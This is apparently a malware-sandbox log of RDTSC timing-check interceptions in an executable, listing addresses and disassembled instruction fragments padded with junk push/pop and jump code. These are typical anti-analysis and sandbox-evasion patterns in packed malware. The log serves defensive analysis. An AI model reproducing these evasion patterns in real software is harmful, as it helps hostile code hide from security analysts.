Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D3FE8 second address: 6D3FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D4156 second address: 6D416E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F882CB47540h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D42B4 second address: 6D42E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F882D0EBEFEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007F882D0EBEF6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F882D0EBEFFh 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D42E6 second address: 6D42FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F882CB4753Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D445F second address: 6D4470 instructions: 0x00000000 rdtsc 0x00000002 js 00007F882D0EBEF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D4470 second address: 6D4474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6D45CE second address: 6D45D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA5FE second address: 6DA602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA602 second address: 6DA63A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF05h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F882D0EBEF8h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F882D0EBF00h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA63A second address: 6DA646 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F882CB47536h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA646 second address: 6DA64B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA64B second address: 6DA651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DABE2 second address: 6DABE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DAFC0 second address: 6DAFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DAFC5 second address: 6DAFE4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F882D0EBF01h 0x00000008 jno 00007F882D0EBEF6h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DB140 second address: 6DB146 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DB146 second address: 6DB150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DB2C7 second address: 6DB2DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F882CB47536h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jc 00007F882CB47536h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DC21F second address: 6DC223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DC223 second address: 6DC244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F882CB47536h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F882CB47542h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DC244 second address: 6DC24A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DC24A second address: 6DC24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DC24E second address: 6DC252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA16D second address: 6DA177 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F882CB4753Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA177 second address: 6DA18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882D0EBEFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA18E second address: 6DA1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F882CB47545h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6DA1AF second address: 6DA1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E381F second address: 6E3846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47545h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F882CB4753Ch 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E3846 second address: 6E384A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E384A second address: 6E3850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E4EF6 second address: 6E4EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E4EFA second address: 6E4EFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6E4D9E second address: 6E4DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6F13DA second address: 6F13F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882CB47547h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6F4E0C second address: 6F4E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 6F4A0C second address: 6F4A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F882CB47536h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 706299 second address: 70629F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7078C2 second address: 7078C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7078C7 second address: 7078DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F882D0EBEFEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7078DE second address: 7078E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70E25D second address: 70E263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70E263 second address: 70E269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70EBEF second address: 70EBF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70EBF3 second address: 70EC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jbe 00007F882CB47536h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70EC0A second address: 70EC16 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnc 00007F882D0EBEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70EC16 second address: 70EC2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB47541h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 70EC2B second address: 70EC2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 714AB5 second address: 714AD1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F882CB47547h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 714670 second address: 714674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 722464 second address: 72246C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7222DA second address: 7222F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882D0EBF09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7222F7 second address: 7222FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 71F256 second address: 71F25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 71F25C second address: 71F261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 71F261 second address: 71F269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F588 second address: 72F590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F08F second address: 72F098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F098 second address: 72F0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F882CB4753Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F204 second address: 72F210 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F210 second address: 72F21F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F21F second address: 72F242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F882D0EBF09h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F242 second address: 72F246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F246 second address: 72F257 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F882D0EBEF8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F257 second address: 72F262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 72F262 second address: 72F268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7439EA second address: 7439EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 743B5E second address: 743B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 743B74 second address: 743B88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F882CB4753Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74625E second address: 746268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 746268 second address: 746274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F882CB47536h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 746274 second address: 746286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 7460E6 second address: 7460F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F882CB47536h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A12B second address: 74A131 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A131 second address: 74A13F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882CB4753Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A3D0 second address: 74A40F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jg 00007F882D0EBEF7h 0x00000012 push 00000004h 0x00000014 sub dl, 0000003Bh 0x00000017 call 00007F882D0EBEF9h 0x0000001c jnp 00007F882D0EBF02h 0x00000022 jo 00007F882D0EBEFCh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A40F second address: 74A419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A419 second address: 74A41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A41D second address: 74A426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A426 second address: 74A47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jnl 00007F882D0EBEFEh 0x00000010 jbe 00007F882D0EBEF8h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jns 00007F882D0EBF0Eh 0x0000001e jmp 00007F882D0EBF08h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 jmp 00007F882D0EBF02h 0x0000002d jns 00007F882D0EBEFCh 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A6F6 second address: 74A77A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB47549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F882CB47545h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F882CB47538h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007F882CB4753Ah 0x0000002f push dword ptr [ebp+122D263Dh] 0x00000035 mov dx, 7066h 0x00000039 push 2EDA231Bh 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F882CB47546h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74A77A second address: 74A791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F882D0EBF03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 74C018 second address: 74C01C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 665086 second address: 6650A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA02B6 second address: 4DA030A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F882CB47540h 0x00000008 pop ecx 0x00000009 call 00007F882CB4753Bh 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 jmp 00007F882CB47544h 0x00000018 mov dword ptr [esp], ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F882CB47547h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA030A second address: 4DA0348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F882D0EBEFEh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F882D0EBEFAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0348 second address: 4DA0357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0357 second address: 4DA0381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882D0EBF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ebx, 3974FE2Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DA0381 second address: 4DA0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC05C8 second address: 4DC0601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 call 00007F882D0EBF00h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 mov dl, 7Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007F882D0EBF06h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	RDTSC instruction interceptor: First address: 4DC0601 second address: 4DC0651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F882CB4753Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov cx, B89Bh 0x00000011 movzx esi, dx 0x00000014 popad 0x00000015 push ebp 0x00000016 jmp 00007F882CB47548h 0x0000001b mov dword ptr [esp], ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F882CB47547h 0x00000025 rdtsc
